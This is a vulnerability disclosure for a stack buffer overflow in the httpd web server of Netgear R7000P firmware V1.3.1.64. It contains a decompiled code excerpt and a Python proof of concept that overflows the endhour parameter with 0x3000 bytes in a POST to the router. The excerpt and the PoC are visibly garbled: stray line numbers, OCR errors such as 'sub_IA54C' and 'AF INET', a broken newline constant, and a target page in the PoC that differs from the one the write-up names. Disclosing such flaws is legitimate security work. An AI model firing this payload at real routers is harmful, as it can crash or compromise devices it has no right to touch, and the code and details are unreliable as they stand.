

adme.md

Netgear R7000P has a Stack Buffer Overflow Vulnerability

Product

- 1. product information: https://www.netgear.com
- 2. firmware download: http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.1.64_10.1.36.zip

Affected version

V1.3.1.64

Vulnerability

The stack overfow vulnerability is in /usr/sbin/httpd. The vulnerability occurrs in the sub_5835C function, which can be accessed via the URL http://routerlogin.net/FW_schedule_ppp2.htm .

```
sub_1A54C(a1, "schedule_day", v16, 256);
sub_1A54C(a1, "schedule_alldayenable", v15, 256);
 21
0 22
     sub 1A54C(a1, "starthour", v14, 256)
23
24
       v19 = 1;
25
       v20 = v14;
       v21 = strlen(v14);
26
27
       v18[0] = 2;
28
       v18[1] = 0;
29
       v18[2] = 23;
30
       if ( sub D1B9C(v19, v20, v21, v18) )
31
         return sub D1B50(a2);
32
      sub_1A54C(a1, "startminute", v13, 256);
33
      sub_1A54C(a1, "endhour", v12, 256);
      sub_1A54C(a1, "endminute", v11, 256);
34
       sub_IA54C(a1, result , v10, 256);
sub_IA54C(a1, "time_zone", v9, 256);
sub_IA54C(a1, "schedule_daylightadjust", v8, 256);
35
36
37
9 38
       if ( !strcmp(v10, "cancel") )
39
         return sub_189E8("FW_schedule_ppp2.htm", a2);
       if ( atoi(v15) == 1 )
9 40
  41
42
         strcpy(v14, "0");
43
         strcpy(v13, "0");
         strcpy(v12, "23");
44
         strcpy(v11, "59");
45
       }
  46
• 47
       v5 = atoi(v16);
• 48
       v6 = v5;
49
       if ( v5 > 128 )
                                                                      vuln
50
51
      sprintf(v17, "%d:%s:%s:%s:%s", v6, v14, v13, v12, v11);
52
       v/ = acoswvramconfig_set((int)&unk_iii/ic, (int)vi/);
9 53
       acosNvramConfig_save(v7);
54
       sub_4D640();
0 55
       sub_1B9E8("FW_schedule_ppp2.htm", a2);
9 56
       return 0;
57 }
```

Parameters starthour, startminute, endhour, endminute are controllable and will be passed into the sprintf function. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

PoC

```
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
11 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF INET, socket.SOCK STREAM)
r.connect((ip, port))
rn = b' r n'
p1 = b'a' * 0x3000
p2 = b'endhour=' + p1 # payload
p3 = b"POST /WLG_wireless_dual_band_r10.html" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
```

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